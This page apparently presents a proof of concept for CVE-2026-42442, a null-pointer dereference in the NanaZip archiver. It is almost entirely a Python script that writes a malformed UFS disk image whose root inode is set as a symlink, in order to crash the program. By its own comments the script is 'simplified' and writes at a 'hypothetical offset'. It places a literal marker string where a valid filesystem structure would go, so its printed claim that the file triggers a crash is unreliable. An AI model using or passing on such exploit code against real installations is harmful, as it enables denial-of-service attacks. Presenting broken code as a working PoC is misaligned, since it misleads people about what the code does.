CVE-2026-42442 NanaZip空指针引用漏洞

import struct import os # PoC for CVE-2026-42442 # Description: Generates a malformed UFS image structure to trigger the vulnerability. # The vulnerability occurs when the root inode (inode 2) is crafted as a symlink (IFLNK) # with a small size, causing a null-pointer dereference in NanaZip. def create_malformed_ufs(filename): with open(filename, 'wb') as f: # Write dummy data to simulate file start f.write(b'\x00' * 1024) # UFS Inode Mode: 0xA000 represents IFLNK (Symbolic Link) # Normal root inode is 0x4000 (IFDIR - Directory) mode = 0xA000 # Set di_size to a small value (e.g., 10 bytes). # This implies the symlink target is embedded in the inode, # resulting in a zero-length directory buffer when parsed as a directory. size = 10 # Construct a simplified malicious inode structure # Format: Mode (4 bytes), Size (8 bytes) - simplified for demonstration # Real UFS inode structure is more complex, but these are the key fields. inode_header = struct.pack('>I', mode) # Big-endian Mode inode_size = struct.pack('>Q', size) # Big-endian Size # Write the malformed inode data at a hypothetical offset # In a real exploit, one would patch a valid UFS image at the correct offset for Inode 2. f.write(b'MALICIOUS_INODE_2') f.write(inode_header) f.write(inode_size) print(f"[+] Created malformed UFS image: {filename}") print("[+] Root inode crafted as Symlink with small size.") print("[+] Opening this file in vulnerable NanaZip versions will trigger a crash.") if __name__ == "__main__": create_malformed_ufs("cve_2026_42442_poc.img")